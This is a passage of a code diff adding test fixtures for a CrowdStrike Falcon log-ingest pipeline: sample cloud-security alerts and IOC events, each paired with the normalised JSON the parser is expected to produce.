\"ValueString\": \"All event type(s)\"\n }\n ],\n \"Attributes\": {\n \"APIClientID\": \"APICLIENTID\",\n \"appId\": \"APPIDTEST\",\n \"eventType\": \"All event type(s)\",\n \"offset\": \"8\",\n \"partition\": \"0\"\n }\n }\n}", + "outcome": "success" + }, + "message": "Crowdstrike Streaming API", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "175.16.199.1" + ], + "user": [ + "API:USERID" + ] + }, + "source": { + "geo": { + "city_name": "Changchun", + "continent_name": "Asia", + "country_iso_code": "CN", + "country_name": "China", + "location": { + "lat": 43.88, + "lon": 125.3228 + }, + "region_iso_code": "CN-22", + "region_name": "Jilin Sheng" + }, + "ip": "175.16.199.1" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "API:USERID" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log new file mode 100644 index 0000000000..aa0e66380d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log @@ -0,0 +1,26 @@ +{ + "metadata": { + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "offset": 54712858, + "eventType": "CSPMIOAStreamingEvent", + "eventCreationTime": 1663011160000, + "version": "1.0" + }, + "event": { + "AccountId": "XXXXXXXXXXXX", + "PolicyId": 249, + "PolicyStatement": "EC2 instance manually deleted by IAM user", + "CloudProvider": "aws", + "CloudService": "EC2", + "Severity": 1, + "SeverityName": "High", + "EventAction": "TerminateInstances", + "EventSource": "aws.cloudtrail", + "EventCreatedTimestamp": 1663011160, + "UserId": "AIDAXRCSSEFWEAH3BLR2Z", + "UserName": "cs_internal_service_acct", + "UserSourceIp": "81.2.69.144", + "Tactic": "Impact", + "Technique": "Data Destruction" + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json new file mode 100644 index 0000000000..1936b1ec16 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json @@ -0,0 +1,94 @@ +{ + "expected": [ + { + "@timestamp": "2022-09-12T19:32:40.000Z", + "cloud": { + "account": { + "id": "XXXXXXXXXXXX" + }, + "provider": "aws", + "service": { + "name": "EC2" + } + }, + "crowdstrike": { + "event": { + "PolicyId": 249, + "Severity": 1, + "SeverityName": "High" + }, + "metadata": { + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "eventType": "CSPMIOAStreamingEvent", + "offset": 54712858, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "TerminateInstances", + "category": [ + "configuration" + ], + "created": "2022-09-12T19:32:40.000Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712858,\n\t\t\"eventType\": \"CSPMIOAStreamingEvent\",\n\t\t\"eventCreationTime\": 1663011160000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"PolicyId\": 249,\n\t\t\"PolicyStatement\": \"EC2 instance manually deleted by IAM user\",\n\t\t\"CloudProvider\": \"aws\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"EventAction\": \"TerminateInstances\",\n\t\t\"EventSource\": \"aws.cloudtrail\",\n\t\t\"EventCreatedTimestamp\": 1663011160,\n\t\t\"UserId\": \"AIDAXRCSSEFWEAH3BLR2Z\",\n\t\t\"UserName\": \"cs_internal_service_acct\",\n\t\t\"UserSourceIp\": \"81.2.69.144\",\n\t\t\"Tactic\": \"Impact\",\n\t\t\"Technique\": \"Data Destruction\"\n\t}\n}", + "provider": "aws.cloudtrail", + "severity": 73, + "type": [ + "info", + "change" + ] + }, + "message": "EC2 instance manually deleted by IAM user", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "user": [ + "cs_internal_service_acct" + ] + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Impact" + ] + }, + "technique": { + "name": [ + "Data Destruction" + ] + } + }, + "user": { + "id": "AIDAXRCSSEFWEAH3BLR2Z", + "name": "cs_internal_service_acct" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log new file mode 100644 index 0000000000..d1fb05fcec --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log @@ -0,0 +1,52 @@ +{ + "metadata": { + + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "offset": 54712611, + "eventType": "CSPMSearchStreamingEvent", + "eventCreationTime": 1663009688832, + "version": "1.0" + }, + "event": { + "AccountId": "XXXXXXXXXXXX", + "Region": "us-west-2", + "ResourceId": "i-0108fce80eXXXXXXX", + "ResourceIdType": "Instance Id", + "ResourceName": "", + "ResourceCreateTime": 0, + "PolicyStatement": "EC2 NACL configured for global ingress", + "PolicyId": 26, + "Severity": 1, + "SeverityName": "High", + "CloudPlatform": "AWS", + "CloudService": "EC2", + "Disposition": "Failed", + "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", + "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", + "ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}", + "Tags": [{ + "Key": "cstag-business", + "ValueString": "Sales" + }, { + "Key": "cstag-accounting", + "ValueString": "dev" + }, { + "Key": "cstag-department", + "ValueString": "Sales - 310000" + }, { + "Key": "Slackbot Env UUID", + "ValueString": "C68EC25E-32BD-11ED-AE4B-0EBCA3237C75" + }, { + "Key": "Name", + "ValueString": "CS-SE-Demo-KALI-ROBERT.WILSON" + }, { + "Key": "Slack_User", + "ValueString": "bob.smith" + }, { + "Key": "cstag-owner", + "ValueString": "jane.doe" + }], + "ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2", + "Timestamp": 1663009688832 + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json new file mode 100644 index 0000000000..44c8c37258 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json @@ -0,0 +1,76 @@ +{ + "expected": [ + { + "@timestamp": "2022-09-12T19:08:08.832Z", + "cloud": { + "account": { + "id": "XXXXXXXXXXXX" + }, + "provider": "AWS", + "region": "us-west-2", + "service": { + "name": "EC2" + } + }, + "crowdstrike": { + "event": { + "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", + "PolicyId": 26, + "ResourceAttributes": { + "ACL ID": "acl - 005e6 bb98e75ac17e", + "Instance ID": "i - 0108 fce80eXXXXXXX", + "Instance State": "running", + "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00", + "Platform": "Linux", + "VPC ID": "vpc - 0e886040 c27d9f526" + }, + "ResourceId": "i-0108fce80eXXXXXXX", + "ResourceIdType": "Instance Id", + "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", + "Severity": 1, + "SeverityName": "High", + "Timestamp": 1663009688832 + }, + "metadata": { + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "eventType": "CSPMSearchStreamingEvent", + "offset": 54712611, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "configuration" + ], + "created": "2022-09-12T19:08:08.832Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": [{\n\t\t\t\"Key\": \"cstag-business\",\n\t\t\t\"ValueString\": \"Sales\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-accounting\",\n\t\t\t\"ValueString\": \"dev\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-department\",\n\t\t\t\"ValueString\": \"Sales - 310000\"\n\t\t}, {\n\t\t\t\"Key\": \"Slackbot Env UUID\",\n\t\t\t\"ValueString\": \"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75\"\n\t\t}, {\n\t\t\t\"Key\": \"Name\",\n\t\t\t\"ValueString\": \"CS-SE-Demo-KALI-ROBERT.WILSON\"\n\t\t}, {\n\t\t\t\"Key\": \"Slack_User\",\n\t\t\t\"ValueString\": \"bob.smith\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-owner\",\n\t\t\t\"ValueString\": \"jane.doe\"\n\t\t}],\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}", + "outcome": "failure", + "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2", + "severity": 73, + "type": [ + "info", + "change" + ] + }, + "message": "EC2 NACL configured for global ingress", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "tags": [ + "preserve_original_event", + "cstag-business:Sales", + "cstag-accounting:dev", + "cstag-department:Sales - 310000", + "Slackbot Env UUID:C68EC25E-32BD-11ED-AE4B-0EBCA3237C75", + "Name:CS-SE-Demo-KALI-ROBERT.WILSON", + "Slack_User:bob.smith", + "cstag-owner:jane.doe" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log new file mode 100644 index 0000000000..7871e26492 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log @@ -0,0 +1,6 @@ +{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"2f0eaaf91fc7a5c70d1f4be9b18a1cf5","ParentProcessId":"11111111110","ProcessStartTime":1700000000,"FileName":"Notepad.exe","FilePath":"\\Device\\HarddiskVolume3\\Windows\\System32","CommandLine":"\"C:\\Windows\\system32\\Notepad.exe\"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} +{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","DomainName":"acme.corp","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} +{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv4":"203.0.113.5","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} +{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv6":"2001:db8:1234::abcd","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} +{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","SHA256String":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} +{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"e99a18c428cb38d5f260853678922e03","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json new file mode 100644 index 0000000000..6544d54e91 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json @@ -0,0 +1,401 @@ +{ + "expected": [ + { + "@timestamp": "2025-10-09T08:53:20.000Z", + "crowdstrike": { + "event": { + "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "MD5String": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5" + }, + "metadata": { + "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", + "eventType": "CustomerIOCEvent", + "offset": 123456789, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "threat" + ], + "created": "2025-10-09T08:53:20.000Z", + "kind": "enrichment", + "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"2f0eaaf91fc7a5c70d1f4be9b18a1cf5\",\"ParentProcessId\":\"11111111110\",\"ProcessStartTime\":1700000000,\"FileName\":\"Notepad.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\Notepad.exe\\\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", + "type": [ + "indicator" + ] + }, + "file": { + "name": "Notepad.exe", + "path": "\\Device\\HarddiskVolume3\\Windows\\System32" + }, + "host": { + "hostname": "DESKTOP-AAAAAAA", + "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "name": "DESKTOP-AAAAAAA" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\Windows\\system32\\Notepad.exe\"" + ], + "command_line": "\"C:\\Windows\\system32\\Notepad.exe\"", + "entity_id": "11111111111", + "executable": "\"C:\\Windows\\system32\\Notepad.exe\"", + "parent": { + "entity_id": "11111111110" + }, + "start": "2023-11-14T22:13:20.000Z" + }, + "related": { + "hash": [ + "2f0eaaf91fc7a5c70d1f4be9b18a1cf5" + ], + "hosts": [ + "DESKTOP-AAAAAAA" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "indicator": { + "name": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5", + "type": "file" + } + } + }, + { + "@timestamp": "2025-10-09T08:53:20.000Z", + "crowdstrike": { + "event": { + "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "DomainName": "acme.corp" + }, + "metadata": { + "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", + "eventType": "CustomerIOCEvent", + "offset": 123456789, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "threat" + ], + "created": "2025-10-09T08:53:20.000Z", + "kind": "enrichment", + "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"DomainName\":\"acme.corp\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", + "type": [ + "indicator" + ] + }, + "host": { + "hostname": "DESKTOP-AAAAAAA", + "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "name": "DESKTOP-AAAAAAA" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "entity_id": "11111111111" + }, + "related": { + "hosts": [ + "acme.corp", + "DESKTOP-AAAAAAA" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "indicator": { + "name": "acme.corp", + "type": "domain-name" + } + } + }, + { + "@timestamp": "2025-10-09T08:53:20.000Z", + "crowdstrike": { + "event": { + "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "IPv4": "203.0.113.5" + }, + "metadata": { + "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", + "eventType": "CustomerIOCEvent", + "offset": 123456789, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "threat" + ], + "created": "2025-10-09T08:53:20.000Z", + "kind": "enrichment", + "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv4\":\"203.0.113.5\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", + "type": [ + "indicator" + ] + }, + "host": { + "hostname": "DESKTOP-AAAAAAA", + "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "name": "DESKTOP-AAAAAAA" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "entity_id": "11111111111" + }, + "related": { + "hosts": [ + "DESKTOP-AAAAAAA" + ], + "ip": [ + "203.0.113.5" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "indicator": { + "as": { + "number": 64502, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Madrid", + "continent_name": "Europe", + "country_iso_code": "ES", + "country_name": "Spain", + "location": { + "lat": 40.41639, + "lon": -3.7025 + }, + "region_iso_code": "ES-M", + "region_name": "Madrid" + }, + "ip": "203.0.113.5", + "name": "203.0.113.5", + "type": "ipv4-addr" + } + } + }, + { + "@timestamp": "2025-10-09T08:53:20.000Z", + "crowdstrike": { + "event": { + "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "IPv6": "2001:db8:1234::abcd" + }, + "metadata": { + "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", + "eventType": "CustomerIOCEvent", + "offset": 123456789, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "threat" + ], + "created": "2025-10-09T08:53:20.000Z", + "kind": "enrichment", + "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv6\":\"2001:db8:1234::abcd\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", + "type": [ + "indicator" + ] + }, + "host": { + "hostname": "DESKTOP-AAAAAAA", + "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "name": "DESKTOP-AAAAAAA" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "entity_id": "11111111111" + }, + "related": { + "hosts": [ + "DESKTOP-AAAAAAA" + ], + "ip": [ + "2001:db8:1234::abcd" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "indicator": { + "as": { + "number": 65551, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Greenwich", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.47687, + "lon": -4.1E-4 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "2001:db8:1234::abcd", + "name": "2001:db8:1234::abcd", + "type": "ipv6-addr" + } + } + }, + { + "@timestamp": "2025-10-09T08:53:20.000Z", + "crowdstrike": { + "event": { + "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "SHA256String": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "metadata": { + "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", + "eventType": "CustomerIOCEvent", + "offset": 123456789, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "threat" + ], + "created": "2025-10-09T08:53:20.000Z", + "kind": "enrichment", + "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"SHA256String\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", + "type": [ + "indicator" + ] + }, + "host": { + "hostname": "DESKTOP-AAAAAAA", + "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "name": "DESKTOP-AAAAAAA" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "entity_id": "11111111111" + }, + "related": { + "hash": [ + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + ], + "hosts": [ + "DESKTOP-AAAAAAA" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "indicator": { + "name": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "type": "file" + } + } + }, + { + "@timestamp": "2025-10-09T08:53:20.000Z", + "crowdstrike": { + "event": { + "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "MD5String": "e99a18c428cb38d5f260853678922e03" + }, + "metadata": { + "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", + "eventType": "CustomerIOCEvent", + "offset": 123456789, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "threat" + ], + "created": "2025-10-09T08:53:20.000Z", + "kind": "enrichment", + "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"e99a18c428cb38d5f260853678922e03\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", + "type": [ + "indicator" + ] + }, + "host": { + "hostname": "DESKTOP-AAAAAAA", + "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "name": "DESKTOP-AAAAAAA" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "entity_id": "11111111111" + }, + "related": { + "hash": [ + "e99a18c428cb38d5f260853678922e03" + ], + "hosts": [ + "DESKTOP-AAAAAAA" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "indicator": { + "name": 